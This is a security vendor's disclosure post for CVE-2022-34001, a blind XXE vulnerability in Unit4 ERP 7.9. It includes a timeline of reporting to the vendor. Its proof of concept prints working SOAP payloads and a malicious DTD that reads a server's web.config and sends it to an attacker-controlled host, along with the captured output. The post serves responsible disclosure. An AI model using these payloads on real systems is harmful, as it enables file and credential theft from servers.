LATEST CYBER SECURITY NEWS AND VIEWS

Home > News > CVE-2022-34001 – XML External Entity (XXE) in Unit 4 ERP 7.9 (Also Known As “Agresso”)

LATEST NEWS

CVE-2022-34001 – XML EXTERNAL ENTITY (XXE) IN UNIT 4 ERP 7.9 (ALSO KNOWN AS “AGRESSO”)

Posted on 19th July 2022 by Prism Infosec

Prism Infosec Identified an XXE vulnerability within Unit4's Enterprise Resource Planning (ERP) software. This has been assigned CVE-2022-34001. Unit4's ERP software is a well-known enterprise management suite, which includes financial and project management tools.

Prism Infosec discovered a blind XXE within a specific function of the ERP software. This would allow an authenticated attacker to read arbitrary files from the host server.

CVE-2022-34001 – PROOF OF CONCEPT

The ERP API supported the use of SOAP calls; Curiously, the 'ExecuteServerProcessAsynchronously' SOAP call allowed the insertion of arbitrary XML within its body. To test for XXE, Prism used a simple HTTP outbound call to a Burp Collaborator server to confirm that the XML allowed for entity expansion, and also allowed the SYSTEM call.

The following request shows a snippet of the 'ExecuteServerProcessAsynchronously' SOAP call with the embedded XXE payload within XML tags:

```
 POST /BusinessWorld-webservicestest/service.svc HTTP/1.1
Content-Type: text/xml; charset=utf-8
SOAPAction: http://REDACTED/ImportService/ImportV200606/ExecuteServerProcessAsynchronously
User-Agent: PostmanRuntime/7.29.0
Accept: */*
Host: api-services.redacted.com
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 743

<?xml version="1.0" encoding="utf-8"?>
```

```
        <xml>
    <![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://burp_collaborator.com"> %dtd;]><xxx/>]]>
</Xml>
      </input>
<credentials>
…[REDACTED]…
</credentials>
```

This resulted in an HTTP request to the Prism Infosec controlled server:

```
 The request was received from IP address [REDACTED] at 2022-Mar-01 11:24:45 UTC.

GET / HTTP/1.1
Host: burp_collaborator.com

 Connection: Keep-Alive
```

This confirms that entity expansion was enabled, along with being able to leverage protocols such as HTTP and FILE. As SOAP request only responded with an error message, this attack was considered 'blind' – so out of band techniques were required to exfiltrate data from the host.

On an attacker-controlled server, the following malicious DTD file was hosted (test.xml):

```
 <!ENTITY % start "<[CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % outfile SYSTEM "file:///E:\Program Files\UNIT4 Business World On! (v7)\Web Api\web.config">
<!ENTITY % goout "<!ENTITY &#37; pop SYSTEM 'http://attacker_controlled_server:8000/%start;%outfile;
%end;'>">
```

The SOAP call was then initiated but referencing the malicious DTD along with the parameter entities to exfiltrate the data:

```
 POST /BusinessWorld-webservicestest/service.svc HTTP/1.1
Content-Type: text/xml; charset=utf-8
SOAPAction: http://REDACTED/ImportService/ImportV200606/ExecuteServerProcessAsynchronously
User-Agent: PostmanRuntime/7.29.0
Accept: */*
Host: api-services.redacted.com
Accept-Encoding: gzip, deflate
Connection: close
```

```
<ServerProcessId>GL07</ServerProcessId>
<MenuId>BI88</MenuId>
<Variant>104</Variant>
<Xml>
<![CDATA[
<!DOCTYPE doc[
<!ENTITY % dtd SYSTEM "http://attacker_controlled_server:8000/test.xml">
%dtd;
%goout;
%pop;
]>
]]>
</Xml>
</input>
--[Cut]--
```

On the attacker controlled server, a listener was set up to serve the malicious DTD, and also catch the contents of the file being read:

```
 Serving HTTP on 0.0.0.0 port 8000 ...
api-services_ip - - [02/Mar/2022 12:54:16] "GET /test.xml HTTP/1.1" 200 -
api-services_ip - - [02/Mar/2022 12:54:04] "GET /%3C[CDATA[%0D%0A%3C!--
%0D%0A%20%20For%20more%20information%20on%20how%20to%20configure%20your%20ASP.NET%20application,

 %20please%20visit%20%0D%0A%20%20http://go.microsoft.com/fwlink/?LinkId=301879%0D%0A%20%20--
%3E%0D%0A%3Cconfiguration%3E%0D%0A%20%20%3CconfigSections

 --[Cut]--
```

The decoded data reveals the content of the “E:\Program Files\UNIT4 Business World On! (v7)\Web Api\web.config” file on the api-services host:

```
/ <[CDATA[
<!--
  For more information on how to configure your ASP.NET application, please visit
  http://go.microsoft.com/fwlink/?LinkId=301879
  -->
<configuration>
  <configSections>
    <section name="agresso.web.api"
```

requests to any internal hosts.

Prism Infosec contacted the vendor (Unit 4); and supplied all the necessary information so that Unit 4 could confirm and subsequently remediate the vulnerability. Unit 4 responded in a timely matter and started working on a fix for all customers.

Although the test was completed on the latest version of Unit 4 ERP, we have been advised that previous versions of the software may also be affected.

Note: Prism Infosec did not confirm if the vulnerability had been patched; No further testing was conducted after the initial engagement.

Timeline – CVE-2022-34001

- Discovered by Prism Infosec during an engagement for client: March 1st 2022
- Vendor Informed: March 17th 2022
- CVE Assigned: June 19th 2022
- Vendor Confirmed Fix, and communicated to customers: July 7th 2022
- Prism Infosec Blog Post: July 19th 2022

Vulnerability was discovered and written by Alexis Vanden Eijnde of Prism Infosec.

PREVIOUS

FILTER RESULTS

Browse posts by category:

Select category...

Browse posts by date:

Select date...

Prism Infosec 3 Nov

Getting #risk #management right goes beyond selecting a #methodology. David Adams explains the ‘do’s and don’ts’ via @CyberSecInt #cybersecurity.

https://www.cybersecurityintelligence.com/blog/the-dos-and-d...

Prism Infosec 28 Oct

What are the most common #cyber #threats and how can these be overcome? Phil Robinson spoke to @InformationAge about the importance of user awareness #CybersecurityAwarenessMonth

https://www.information-age.com/combating-common-information...

SIGN UP TO OUR NEWSLETTER

Name *

Please enter your name

Company name

Please enter your company name

Email *

Please enter your email

□

contact@prisminfosec.com +44 (0) 1242 652 100

Prism Infosec Ltd, Suite 803, Eagle Tower, Montpellier Drive, Cheltenham, Gloucestershire, GL50 1TA
+44 (0) 1242 652100 | Privacy Policy | Cookie Policy | contact@prisminfosec.com